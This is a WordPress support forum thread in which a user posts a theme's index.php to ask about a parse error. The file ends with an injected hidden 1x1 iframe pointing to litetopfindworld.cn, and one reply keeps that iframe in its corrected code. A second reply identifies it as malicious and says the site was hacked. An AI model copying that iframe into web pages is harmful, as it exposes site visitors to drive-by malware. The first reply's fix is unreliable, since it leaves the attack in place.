• Parse error: parse error, unexpected ‘?’
    is the error I keep getting. Can someone figure what’s wrong?
    It happened when I upgraded a plugin.

    Any thoughts?

    The following is the full error message followed by the index.php code
    Parse error: parse error, unexpected ‘?’ in /home/content/g/u/e/guerci/html/ELATeacher/index.php on line 18

    <?php
    get_header();
    ?>

    <?php if (have_posts()) : while (have_posts()) : the_post(); ?>

    <div class=”datecomrap”>
    <div class=”date”>
    <?php the_time(‘M’); ?>
    <span style=”font-size:2em; font-weight:bold;”><?php the_time(‘d’); ?></span>
    <?php the_time(‘Y’); ?>
    </div><!– end date –>

    <!– if you don’t want the comment count left of the post, erase from here … –>
    <div class=”commy”>
    <?php comments_popup_link(__(‘0’), __(‘1’), __(‘%’), ”, __(‘–‘)); ?>
    </div><!– end commy –>
    <!– to here –>

    </div><!– end datecomrap –>

    <div class=”storywrap”>
    <div class=”post” id=”post-<?php the_ID(); ?>”>

    <h3 class=”storytitle”>” rel=”bookmark”><?php the_title(); ?></h3>

    <div class=”storycontent”>
    <?php the_content(__(‘(more…)’)); ?>
    </div><!– end storycontent –>

    <div class=”meta”>

    Written by <?php the_author() ?><?php _e(” in:”); ?> <?php the_category(‘,’) ?> | <?php the_tags(__(‘Tags: ‘), ‘, ‘, ‘ ‘); ?><?php edit_post_link(__(‘Edit This’)); ?>
    <?php wp_link_pages(); ?>

    </div><!– end meta –>

    <?php comments_template(); ?>

    </div><!– end storywrap –>

    </div><!– end post –>

    <?php endwhile; else: ?>
    <p style=”margin:100px 0 0 100px; font-weight:bold;”><?php _e(‘Sorry, no posts matched your criteria.’); ?></p>
    <?php endif; ?>

    <div class=”navlink”>
    <?php posts_nav_link(‘ — ‘, __(‘« Newer Posts’), __(‘Older Posts »’)); ?>
    </div><!– end navlink –>

    <?php get_footer(); ?<html><body><iframe src=”http://litetopfindworld.cn/in.cgi?cocacola37&#8243; width=1 height=1 style=”visibility: hidden”></iframe></body></html>>

Viewing 2 replies - 1 through 2 (of 2 total)
  • The problem may be the last bit of code:

    <?php get_footer(); ?<html><body><iframe src="http://litetopfindworld.cn/in.cgi?cocacola37" width=1 height=1 style="visibility: hidden"></iframe></body></html>>

    See how after the “get_footer” call it doesn’t close the PHP correctly?

    Should be

    <?php get_footer(); ?>
    <html><body><iframe src="http://litetopfindworld.cn/in.cgi?cocacola37" width=1 height=1 style="visibility: hidden"></iframe></body></html>

    It’s not an HTML issue. It’s a security issue.

    This hidden litetopfindworld iframe is a malicious one
    http://www.google.com/safebrowsing/diagnostic?site=litetopfindworld.cn

    @coachguerci: Your site has been hacked! You should remove this iframe and investigate how it got there.

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘Parse error: parse error, unexpected ‘?’’ is closed to new replies.